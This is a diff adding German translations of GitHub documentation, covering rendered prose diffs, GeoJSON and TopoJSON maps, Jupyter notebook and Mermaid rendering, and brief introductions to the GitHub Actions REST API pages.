+Commits und Pull Requests an Fließtextdokumenten unterstützen die Darstellung dieser Dokumente im *Quell*- und im *gerenderten* Format.
+
+In der Quellansicht wird der eingegebene Rohtext angezeigt. In der gerenderten Ansicht wird der Text dagegen so angezeigt, wie er gerendert auf {% data variables.product.product_name %} aussehen würde. Dies kann beispielsweise der Unterschied zwischen der Darstellung von `**bold**` in Markdown und **fett** in der gerenderten Ansicht sein.
+
+Das Rendern von Fließtext wird für gerenderte Dokumente unterstützt, die von [github/markup](https://github.com/github/markup) unterstützt werden:
+
+* Markdown
+* AsciiDoc
+* Textile
+* ReStructured Text
+* Rdoc
+* Organisation
+* Creole
+* MediaWiki
+* Pod
+
+![Papiersymbol zum Anzeigen gerenderter Dokumente mit Fließtext](/assets/images/help/repository/rendered_prose_diff.png)
+
+Zum Anzeigen der im Zuge eines Commits vorgenommenen Änderungen an einem Dokument klicke auf das Symbol {% octicon "file" aria-label="The paper icon" %}.
+
+![Änderungen an gerendertem Fließtext](/assets/images/help/repository/rendered_prose_changes.png)
+
+### Deaktivieren des Markdown-Renderings
+
+{% data reusables.repositories.disabling-markdown-rendering %}
+
+### Attributänderungen visualisieren
+
+Zu Attributänderungen, die im Gegensatz zu Worten im gerenderten Dokument nicht sichtbar werden, wird eine QuickInfo angezeigt. Beispielsweise wird bei der Änderung einer Link-URL von einer Website zu einer anderen eine QuickInfo wie diese angezeigt:
+
+![Attributänderungen an gerendertem Fließtext](/assets/images/help/repository/prose_diff_attributes.png)
+
+### Kommentare zu Änderungen
+
+[Commitkommentare](/articles/commenting-on-differences-between-files) können nur Dateien in der *Quellansicht* und nur zeilenweise hinzugefügt werden.
+
+### Zu Headern verknüpfen
+
+Wie bei [anderen gerenderten Fließtextdokumenten](/articles/about-readmes) wird beim Zeigen auf eine Kopfzeile in deinem Dokument ein Linksymbol erstellt. Du kannst die Leser deines gerenderten Fließtexts über Links zu bestimmten Abschnitten leiten.
+
+### Komplexe Unterschiede anzeigen
+
+Einige Pull Requests umfassen sehr viele Änderungen an großen und komplexen Dokumenten. Wenn die Analyse der Änderungen zu lange dauert, kann {% data variables.product.product_name %} nicht immer eine gerenderte Ansicht der Änderungen generieren. Wenn dies der Fall ist, wird beim Klicken auf die gerenderte Schaltfläche eine Fehlermeldung angezeigt.
+
+![Meldung, wenn die Ansicht nicht gerendert werden kann](/assets/images/help/repository/prose_diff_rendering.png)
+
+Du kannst die Änderungen jedoch auch in der Quellansicht analysieren und kommentieren.
+
+### HTML-Elemente anzeigen
+
+Gerenderte Ansichten der Commits an HTML-Dokumenten werden nicht direkt unterstützt. In einigen Formaten wie Markdown kannst du beliebiges HTML in ein Dokument einbetten. Wenn diese Dokumente in {% data variables.product.product_name %} dargestellt werden, kann ein Teil dieser eingebetteten HTML in einer Vorschau angezeigt werden, manch andere HTML (wie ein eingebettetes YouTube-Video) hingegen nicht.
+
+Im Allgemeinen zeigen gerenderte Ansichten von Dokumentänderungen, die eingebettete HTML enthalten, diejenigen Änderungen an den Elementen an, die in der {% data variables.product.product_name %}-Ansicht des Dokuments unterstützt werden. Aus Gründen der Vollständigkeit sollten Änderungen an Dokumenten, die eingebettete HTML enthalten, immer sowohl in der gerenderten als auch in der Quellansicht überprüft werden.
+
+## Zuordnen von GeoJSON- bzw. TopoJSON-Dateien zu {% data variables.product.prodname_dotcom %}
+
+{% data variables.product.product_name %} unterstützt die Zuordnung von GeoJSON- und TopoJSON-Daten in {% data variables.product.product_name %}-Repositorys. Committe die Datei einfach so, wie bei den Erweiterungen `.geojson` oder `.topojson`. Dateien mit der Erweiterung `.json` werden ebenfalls unterstützt, aber nur, wenn `type` auf `FeatureCollection`, `GeometryCollection` oder `topology` festgelegt ist. Navigiere dann zum Pfad der GeoJSON- oder TopoJSON-Datei auf GitHub.com.
+
+Wenn du rechts auf das Papiersymbol klickst, siehst du auch die Änderungen, die als Teil eines Commits an dieser Datei vorgenommen wurden.
+
+![Screenshot von Quellen-Anzeigeauswahl](/assets/images/help/repository/source-render-toggle-geojson.png)
+
+### Geometrietypen
+
+Karten in {% data variables.product.product_name %} verwenden [Leaflet.js](http://leafletjs.com) und unterstützen alle Geometrietypen, die in der [geoJSON-Spezifikation](http://www.geojson.org/geojson-spec.html) beschrieben sind (Point, LineString, Polygon, MultiPoint, MultiLineString, MultiPolygon und GeometryCollection). TopoJSON-Dateien sollten vom Typ „Topologie“ sein und der [TopoJSON-Spezifikation](https://github.com/mbostock/topojson/wiki/Specification) entsprechen.
+
+{% ifversion geoJSON-with-MapBox %}
+### Funktionen stilisieren
+
+Du kannst anpassen, wie Features angezeigt werden – z. B. eine bestimmte Farbe festlegen oder ein beschreibendes Symbol hinzufügen –, indem du zusätzliche Metadaten in den Eigenschaften des GeoJSON-Objekts übergibst. Die Optionen sind:
+
+* `marker-size` - `small`, `medium` oder `large`
+* `marker-color`: gültige RGB-Farbe im Hexadezimalformat
+* `marker-symbol`: eine Symbol-ID aus dem [Maki-Projekt](http://mapbox.com/maki/) oder ein einzelnes alphanumerisches Zeichen (a–z oder 0–9).
+* `stroke`: Farbe eines Polygonrands oder einer Linie (RGB)
+* `stroke-opacity`: Deckkraft eines Polygonrands oder einer Linie (0,0–1,0)
+* `stroke-width`: Breite eines Polygonrands oder einer Linie
+* `fill`: Farbe im Inneren eines Polygons (RGB)
+* `fill-opacity`: Deckkraft im Inneren eines Polygons (0,0–1,0)
+
+Weitere Informationen findest du unter [Version 1.1.0 der Open-Simplestyle-Spezifikation](https://github.com/mapbox/simplestyle-spec/tree/master/1.1.0).
+{% endif %}
+
+### Einbetten deiner Karte an anderer Stelle
+
+Möchtest du deine GeoJSON-Karte an anderer Stelle als {% data variables.product.product_name %} bereitstellen? Passe einfach diese Vorlage an, und integriere sie in eine HTML-Seite, die JavaScript unterstützt (z. B. [{% data variables.product.prodname_pages %}](http://pages.github.com)):
+
+```html
+<script src="https://embed.github.com/view/geojson/<username>/<repo>/<ref>/<path_to_file>"></script>
+```
+
+Wenn die URL deiner Karte z. B. [github.com/benbalter/dc-wifi-social/blob/master/bars.geojson](https://github.com/benbalter/dc-wifi-social/blob/master/bars.geojson) ist, lautet dein Einbettungscode:
+
+```html
+<script src="https://embed.github.com/view/geojson/benbalter/dc-wifi-social/master/bars.geojson"></script>
+```
+
+Standardmäßig ist die eingebettete Karte 420 Pixel breit und 620 Pixel hoch. Du kannst die Ausgabe jedoch anpassen, indem du die Variablen für Höhe und Breite als Parameter am Ende übergibst, beispielsweise `?height=300&width=500`.
+
+{% tip %}
+
+**Hinweis:** `ref` kann ein Branch oder der Hash zu einem einzelnen Commit (z. B. `2391ae`) sein.
+
+{% endtip %}
+
+{% ifversion mermaid %}
+### Zuordnen im Markdown
+
+Du kannst GeoJSON und TopoJSON direkt im Markdown einbetten. Weitere Informationen findest du unter [Erstellen von Diagrammen](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-geojson-and-topojson-maps).
+{% endif %}
+
+### Clustering
+
+Wenn deine Karte eine große Anzahl von Markierungen (ungefähr mehr als 750) enthält, bündelt GitHub benachbarte Markierungen automatisch in größeren Zoomstufen. Klicke einfach auf den Cluster oder zoome heran, um einzelne Markierungen zu sehen.
+
+### Mit der zugrunde liegenden Karte stimmt etwas nicht
+
+Die zugrunde liegenden Kartendaten (Straßennamen, Wege usw.) stammen von [OpenStreetMap](http://www.openstreetmap.org/), einem Gemeinschaftsprojekt zur Erstellung einer kostenlosen bearbeitbaren Karte der ganzen Welt. Wenn du feststellst, dass etwas nicht ganz richtig ist, kannst du, da es ein Open-Source-Projekt ist, dich ganz einfach [registrieren](https://www.openstreetmap.org/user/new) und eine Korrektur übermitteln.
+
+### Problembehandlung
+
+Wenn du Probleme beim Rendern von GeoJSON-Dateien hast, überprüfe, ob du eine gültige GeoJSON-Datei hast, indem du einen [GeoJSON-Linter](http://geojsonlint.com/) auf die Datei anwendest. Wenn deine Punkte an einer anderen Stelle angezeigt werden als erwartet (<em>z. B.</em> mitten im Meer), wurde auf die Daten wahrscheinlich eine Projektion angewandt, die derzeit nicht unterstützt wird. Derzeit unterstützt {% data variables.product.product_name %} nur die Projektion `urn:ogc:def:crs:OGC:1.3:CRS84`.
+
+Wenn deine `.geojson`-Datei besonders groß ist (über 10 MB), kann sie außerdem nicht im Browser gerendert werden. Wenn dies der Fall ist, wird im Allgemeinen eine ähnliche Mitteilung wie die folgende angezeigt:
+
+![Große Datei](/assets/images/help/repository/view_raw.png)
+
+Es kann dennoch möglich sein, die Daten zu rendern, indem du die Datei `.geojson` in [TopoJSON](https://github.com/mbostock/topojson) konvertierst, ein Komprimierungsformat, das in einigen Fällen die Dateigröße um bis zu 80 % reduzieren kann. Natürlich kannst du die Datei grundsätzlich in kleinere Abschnitte aufteilen (z. B. nach Land oder Jahr) und die Daten in Form von mehreren Dateien im Repository speichern.
+
+### Weiterführende Themen
+
+{% ifversion geoJSON-with-MapBox %}
+* [Dokumentation zu Leaflet.js](https://leafletjs.com/)
+* [MapBox-Dokumentation zu Markierungsstilen](http://www.mapbox.com/developers/simplestyle/) {%- else %}
+* [Azure Maps-Dokumentation](https://docs.microsoft.com/en-us/azure/azure-maps/) {%- endif %}
+* [TopoJSON-Wiki](https://github.com/mbostock/topojson/wiki)
+
+## Arbeiten mit Jupyter Notebook-Dateien in {% data variables.product.prodname_dotcom %}
+
+Wenn du Jupyter Notebook- oder IPython Notebook-Dateien mit der Erweiterung *.ipynb* auf {% data variables.location.product_location %} hinzufügst, werden sie in deinem Repository als statische HTML-Dateien gerendert.
+
+Die interaktiven Features des Notebooks, beispielsweise benutzerdefinierte JavaScript-Plots, funktionieren in deinem Repository auf {% data variables.location.product_location %} nicht. Ein Beispiel findest du unter [*Linking und „Interactions.ipynb“*](https://github.com/bokeh/bokeh-notebooks/blob/main/tutorial/06%20-%20Linking%20and%20Interactions.ipynb).
+
+Du kannst [nbviewer](https://nbviewer.jupyter.org/) verwenden, um dein Jupyter Notebook mit gerendertem JavaScript-Inhalt anzuzeigen oder um deine Notebook-Dateien mit anderen zu teilen. Ein Beispiel für das Rendern mit nbviewer findest du unter [*Linking und „Interactions.ipynb“*](https://nbviewer.jupyter.org/github/bokeh/bokeh-notebooks/blob/main/tutorial/06%20-%20Linking%20and%20Interactions.ipynb).
+
+Wenn du eine vollständig interaktive Version deines Jupyter Notebook anzeigen möchtest, kannst du einen Notebookserver lokal einrichten. Weitere Informationen findest du in der [offiziellen Dokumentation zu Jupyter](http://jupyter.readthedocs.io/en/latest/index.html).
+
+### Problembehandlung
+
+Wenn du Probleme beim Rendern von Jupyter Notebook-Dateien als statischen HTML-Code hast, kannst du die Datei lokal an der Befehlszeile konvertieren, indem du den [Befehl `nbconvert`](https://github.com/jupyter/nbconvert) verwendest:
+
+```shell
+$ jupyter nbconvert --to html NOTEBOOK-NAME.ipynb
+```
+
+### Weiterführende Themen
+
+- [GitHub-Repository für Jupyter Notebook](https://github.com/jupyter/jupyter_notebook)
+- [Katalog der Jupyter Notebooks](https://github.com/jupyter/jupyter/wiki)
+
+{% ifversion mermaid %}
+## Anzeigen von Mermaid-Dateien auf {% data variables.product.prodname_dotcom %}
+
+{% data variables.product.product_name %} unterstützt das Rendern von Mermaid-Dateien in Repositorys. Committe die Datei so, wie bei den Erweiterungen `.mermaid` oder `.mmd`. Navigiere dann zum Pfad der Mermaid-Datei auf {% data variables.product.prodname_dotcom %}.
+
+Beispiel für das Hinzufügen einer `.mmd`-Datei mit dem folgenden Inhalt in deinem Repository:
+
+```
+graph TD
+    A[Friend's Birthday] -->|Get money| B(Go shopping)
+    B --> C{Let me think}
+    C -->|One| D["Cool <br> Laptop"]
+    C -->|Two| E[iPhone]
+    C -->|Three| F[fa:fa-car Car]
+```
+
+Wenn du die Datei im Repository anzeigst, wird sie als Flussdiagramm gerendert.
+![Gerendertes Diagramm aus der Mermaid-Datei](/assets/images/help/repository/mermaid-file-diagram.png)
+
+### Problembehandlung
+
+Wenn dein Diagramm überhaupt nicht gerendert wird, vergewissere dich, dass es gültige Mermaid-Markdown-Syntax enthält, indem du dein Diagramm mit dem [Mermaid-Live-Editor](https://mermaid.live/edit) überprüfst.
+
+Wenn das Diagramm zwar angezeigt, aber nicht wie erwartet dargestellt wird, kannst du eine neue [{% data variables.product.prodname_github_community %}-Diskussion](https://github.com/orgs/community/discussions/categories/general) erstellen und die Bezeichnung `Mermaid` hinzufügen. 
+
+#### Bekannte Probleme
+
+* Sequenzdiagramme werden häufig mit zusätzlicher Auffüllung unterhalb des Diagramms gerendert, die weiter zunimmt, wenn das Diagramm größer wird. Dies ist ein bekanntes Problem mit der Mermaid-Bibliothek.
+* Akteurknoten mit Popupmenüs funktionieren innerhalb von Sequenzdiagrammen nicht wie erwartet. Dies liegt an einer Abweichung, wie JavaScript-Ereignisse einem Diagramm hinzugefügt werden, wenn die API der Mermaid-Bibliothek zum Rendern eines Diagramms verwendet wird.
+* Nicht alle Diagramme sind a11y-konform. Dies kann sich auf Benutzer*innen auswirken, die auf eine Sprachausgabe angewiesen sind.
+
+### Mermaid in Markdown
+
+Du kannst Mermaid-Syntax direkt in Markdown einbetten. Weitere Informationen findest du unter [Erstellen von Diagrammen](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-mermaid-diagrams).
+
+### Weiterführende Themen
+
+* [Dokumentation zu Mermaid.js](https://mermaid-js.github.io/mermaid/#/)
+* [Mermaid.js-Live-Editor](https://mermaid.live/edit) {% endif %}
+
diff --git a/translations/de-DE/content/rest/README.md b/translations/de-DE/content/rest/README.md
new file mode 100644
index 0000000000..3e7b61111c
--- /dev/null
+++ b/translations/de-DE/content/rest/README.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 059e56c6821926e1d6a604c95dd1fa167de2db6a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145131866"
+---
+# REST
+
+Im `/content/rest`-Verzeichnis befinden sich die GitHub GraphQL-API-Dokumente!
+
+* Die Verzeichnisse `/content/rest/guides` und `/content/rest/overview` enthalten reguläre Artikel. Diese sind von Personen bearbeitbar.
+* Das `/content/rest/reference`-Verzeichnis enthält einen Artikel für jede Gruppe von Endpunkten in der GitHub REST-API. Die meisten Inhalte in diesem Verzeichnis werden mithilfe von `include`-Tags gerendert.
+
+  Der von `include`-Tags gerenderte Inhalt stammt aus dem `/lib/rest/static`-Verzeichnis, das intern in GitHub automatisch aus dem API-Quellcode generiert wird, und sollte nicht von einer Person bearbeitet werden. Weitere Informationen findest du unter [`/lib/rest/README.md`](/lib/rest/README.md).
+
+  **Änderungen an Inhalten, die von `include`-Tags gerendert werden, können nicht akzeptiert werden. Du kannst jedoch ein Problem öffnen, das die Änderungen beschreibt, die du sehen möchtest.**
diff --git a/translations/de-DE/content/rest/actions/artifacts.md b/translations/de-DE/content/rest/actions/artifacts.md
new file mode 100644
index 0000000000..433235f924
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/artifacts.md
@@ -0,0 +1,24 @@
+---
+title: GitHub Actions-Artefakte
+allowTitleToDifferFromFilename: true
+shortTitle: Artifacts
+intro: 'Mit der Artefakt-API von {% data variables.product.prodname_actions %} kannst du Informationen zu Workflowartefakten herunterladen, löschen und abrufen.'
+topics:
+  - API
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 10382cec96748de0c03ddc9523481bb38f6cb8bf
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065602'
+---
+## Informationen zur Artefakt-API
+
+Mit der Artefakt-API von {% data variables.product.prodname_actions %} kannst du Informationen zu Workflowartefakten herunterladen, löschen und abrufen. {% data reusables.actions.about-artifacts %} Weitere Informationen findest du unter [Beibehalten von Workflowdaten als Artefakte](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts).
+
+{% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
diff --git a/translations/de-DE/content/rest/actions/cache.md b/translations/de-DE/content/rest/actions/cache.md
new file mode 100644
index 0000000000..4d67e5cae2
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/cache.md
@@ -0,0 +1,21 @@
+---
+title: GitHub Actions-Cache
+allowTitleToDifferFromFilename: true
+shortTitle: Cache
+intro: 'Mit der {% data variables.product.prodname_actions %}-Cache-API kannst du den {% data variables.product.prodname_actions %}-Cache für Repositorys abfragen und verwalten.'
+topics:
+  - API
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.4'
+ms.openlocfilehash: faaa0f8c0f182f2693039c017e8898ca9ea878ba
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147430397'
+---
+## Informationen zur Cache-API
+
+Mit der {% data variables.product.prodname_actions %}-Cache-API kannst du den {% data variables.product.prodname_actions %}-Cache für Repositorys abfragen und verwalten. {% ifversion actions-cache-management %}Du kannst auch eine {% data variables.product.prodname_cli %}-Erweiterung installieren, um deine Caches über die Befehlszeile zu verwalten. {% endif %}Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows](/actions/advanced-guides/caching-dependencies-to-speed-up-workflows#managing-caches).
diff --git a/translations/de-DE/content/rest/actions/index.md b/translations/de-DE/content/rest/actions/index.md
new file mode 100644
index 0000000000..271589d67b
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/index.md
@@ -0,0 +1,33 @@
+---
+title: Aktionen
+intro: 'Mit der Aktions-API kannst du {% data variables.product.prodname_actions %} für eine Organisation oder ein Repository verwalten und steuern.'
+redirect_from:
+  - /v3/actions
+  - /rest/reference/actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /artifacts
+  - /cache
+  - /oidc
+  - /permissions
+  - /secrets
+  - /self-hosted-runner-groups
+  - /self-hosted-runners
+  - /workflow-jobs
+  - /workflow-runs
+  - /workflows
+ms.openlocfilehash: 8795fc5ad18221a71593d68ab161c1302817f86f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147061970'
+---
+Mit der {% data variables.product.prodname_actions %}-API kannst du {% data variables.product.prodname_actions %} mithilfe der REST-API verwalten. {% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} erfordern die in den einzelnen Endpunkt genannten Berechtigungen. Weitere Informationen findest du in der [{% data variables.product.prodname_actions %}-Dokumentation](/actions).
diff --git a/translations/de-DE/content/rest/actions/oidc.md b/translations/de-DE/content/rest/actions/oidc.md
new file mode 100644
index 0000000000..b1dec91098
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/oidc.md
@@ -0,0 +1,18 @@
+---
+title: GitHub Actions OIDC
+allowTitleToDifferFromFilename: true
+shortTitle: OIDC
+intro: 'Die {% data variables.product.prodname_actions %} OIDC-API ermöglicht dir, die JWT-Tokenansprüche anzupassen.'
+topics:
+  - API
+versions:
+  ghec: '*'
+  ghes: '>=3.7'
+ms.openlocfilehash: 6857081d29bd89e59c4f6c7ff458fd0afc2cf6ef
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147080256'
+---
+
diff --git a/translations/de-DE/content/rest/actions/permissions.md b/translations/de-DE/content/rest/actions/permissions.md
new file mode 100644
index 0000000000..81d61ffd57
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/permissions.md
@@ -0,0 +1,22 @@
+---
+title: GitHub Actions-Berechtigungen
+allowTitleToDifferFromFilename: true
+shortTitle: Permissions
+intro: 'Mit der Berechtigungs-API von {% data variables.product.prodname_actions %} kannst du festlegen, welche Unternehmen, Organisationen und Repositorys {% data variables.product.prodname_actions %} ausführen dürfen sowie welche Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbaren Workflows{% endif %} ausgeführt werden dürfen.'
+topics:
+  - API
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 33dce77111812ba9cf5b05a170bc713c3506c00e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '147888598'
+---
+## Informationen zur Berechtigungs-API
+
+Mit der Berechtigungs-API von {% data variables.product.prodname_actions %} kannst du festlegen, welche Unternehmen, Organisationen und Repositorys {% data variables.product.prodname_actions %} ausführen dürfen sowie welche Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbaren Workflows{% endif %} ausgeführt werden dürfen.{% ifversion fpt or ghec or ghes %} Weitere Informationen findest du unter [Nutzungsbeschränkungen, Abrechnung und Verwaltung](/actions/reference/usage-limits-billing-and-administration#disabling-or-limiting-github-actions-for-your-repository-or-organization).{% endif %}
diff --git a/translations/de-DE/content/rest/actions/secrets.md b/translations/de-DE/content/rest/actions/secrets.md
new file mode 100644
index 0000000000..0a09a9b6e5
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/secrets.md
@@ -0,0 +1,24 @@
+---
+title: GitHub Actions-Geheimnisse
+allowTitleToDifferFromFilename: true
+shortTitle: Secrets
+intro: 'Mit der Geheimnis-API von {% data variables.product.prodname_actions %} kannst du Informationen zu verschlüsselten Geheimnissen erstellen, aktualisieren, löschen und abrufen, die in Workflows für {% data variables.product.prodname_actions %} verwendet werden können.'
+topics:
+  - API
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: bd72024abd61feb6b69e3efb09d1ddc2b8f27a23
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147061985'
+---
+## Informationen zur Geheimnis-API
+
+Mit der Geheimnis-API von {% data variables.product.prodname_actions %} kannst du Informationen zu verschlüsselten Geheimnissen erstellen, aktualisieren, löschen und abrufen, die in Workflows für {% data variables.product.prodname_actions %} verwendet werden können. {% data reusables.actions.about-secrets %} Weitere Informationen findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} müssen zum Verwenden dieser API über die `secrets`-Berechtigung verfügen. Authentifizierte Benutzer müssen für ein Repository die Zugriffsrechte von Mitwirkenden besitzen, um Geheimnisse zu erstellen, zu aktualisieren oder zu lesen.
diff --git a/translations/de-DE/content/rest/actions/self-hosted-runner-groups.md b/translations/de-DE/content/rest/actions/self-hosted-runner-groups.md
new file mode 100644
index 0000000000..c111a497c8
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/self-hosted-runner-groups.md
@@ -0,0 +1,22 @@
+---
+title: Selbstgehostete Runnergruppen
+intro: Mit der API für selbstgehostete Runnergruppen kannst du selbstgehostete Runnergruppen verwalten.
+topics:
+  - API
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: ca08d05414764250a11dc94bac763f5aa56060be
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064370'
+---
+## Informationen zur API für selbstgehostete Runnergruppen
+
+Mit dieser API kannst du selbstgehostete Runnergruppen verwalten. Weitere Informationen findest du unter [Verwalten des Zugriffs auf selbstgehostete Runner mithilfe von Gruppen](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
+
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} müssen über die `administration`-Berechtigung für Repositorys oder `organization_self_hosted_runners`-Berechtigungen für Organisationen verfügen. Authentifizierte Benutzer*innen müssen über Administratorzugriff auf Repositorys oder Organisationen oder auf den `manage_runners:enterprise`-Bereich für Unternehmen verfügen, um diese API zu verwenden.
diff --git a/translations/de-DE/content/rest/actions/self-hosted-runners.md b/translations/de-DE/content/rest/actions/self-hosted-runners.md
new file mode 100644
index 0000000000..e3ba8cd982
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/self-hosted-runners.md
@@ -0,0 +1,22 @@
+---
+title: Selbstgehostete Runner
+intro: 'Mit der selbstgehosteten Runner-API kannst du selbstgehostete Runner registrieren, anzeigen und löschen.'
+topics:
+  - API
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 5fb3b281aab7120adeef45728ea0e4a16ae389a7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064378'
+---
+## Informationen zur selbstgehosteten Runner-API
+
+Mit der selbstgehosteten Runner-API kannst du selbstgehostete Runner registrieren, anzeigen und löschen. {% data reusables.actions.about-self-hosted-runners %} Weitere Informationen findest du unter [Hosting der eigenen Runner](/actions/hosting-your-own-runners).
+
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} müssen über die `administration`-Berechtigung für Repositorys und `organization_self_hosted_runners`-Berechtigungen für Organisationen verfügen. Authentifizierte Benutzer*innen müssen über Administratorzugriff auf Repositorys oder Organisationen oder auf den `manage_runners:enterprise`-Bereich für Unternehmen verfügen, um diese API zu verwenden.
diff --git a/translations/de-DE/content/rest/actions/workflow-jobs.md b/translations/de-DE/content/rest/actions/workflow-jobs.md
new file mode 100644
index 0000000000..a48506f8db
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/workflow-jobs.md
@@ -0,0 +1,22 @@
+---
+title: Workflowaufträge
+intro: Mit der Workflowaufträge-API kannst du Protokolle und Workflowaufträge anzeigen.
+topics:
+  - API
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 3ce47740a3dc276cb2fb7ba769221bc4d3be063a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064394'
+---
+## Informationen zur API für Workflowaufträge
+
+Mit der API für Workflowaufträge kannst du Protokolle und Workflowaufträge anzeigen. {% data reusables.actions.about-workflow-jobs %} Weitere Informationen findest du unter [Workflowsyntax für GitHub Actions](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions).
+
+{% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
diff --git a/translations/de-DE/content/rest/actions/workflow-runs.md b/translations/de-DE/content/rest/actions/workflow-runs.md
new file mode 100644
index 0000000000..9444e297de
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/workflow-runs.md
@@ -0,0 +1,22 @@
+---
+title: Workflowausführungen
+intro: 'Mit der Workflowausführungs-API kannst du Workflowausführungen anzeigen, erneut ausführen, abbrechen und zugehörige Protokolle aufrufen.'
+topics:
+  - API
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 26bf581b56a74ec8efba269fde053392454bf862
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064330'
+---
+## Informationen zur Workflowausführungs-API
+
+Mit der Workflowausführungs-API kannst du Workflowausführungen anzeigen, erneut ausführen, abbrechen und zugehörige Protokolle aufrufen. {% data reusables.actions.about-workflow-runs %} Weitere Informationen findest du unter [Verwalten einer Workflowausführung](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run).
+
+{% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
diff --git a/translations/de-DE/content/rest/actions/workflows.md b/translations/de-DE/content/rest/actions/workflows.md
new file mode 100644
index 0000000000..8b39fc9dbb
--- /dev/null
+++ b/translations/de-DE/content/rest/actions/workflows.md
@@ -0,0 +1,22 @@
+---
+title: Workflows
+intro: Mit der Workflows-API kannst du Workflows für ein Repository anzeigen.
+topics:
+  - API
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: b7f5d765b8a749b134cf1a69411412da0f031499
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064322'
+---
+## Informationen zur Workflows-API
+
+Mit der Workflows-API kannst du Workflows für ein Repository anzeigen. {% data reusables.actions.about-workflows %} Weitere Informationen findest du unter [Automatisieren deines Workflows mit GitHub Actions](/actions/automating-your-workflow-with-github-actions).
+
+{% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
diff --git a/translations/de-DE/content/rest/activity/events.md b/translations/de-DE/content/rest/activity/events.md
new file mode 100644
index 0000000000..e08e6b2c84
--- /dev/null
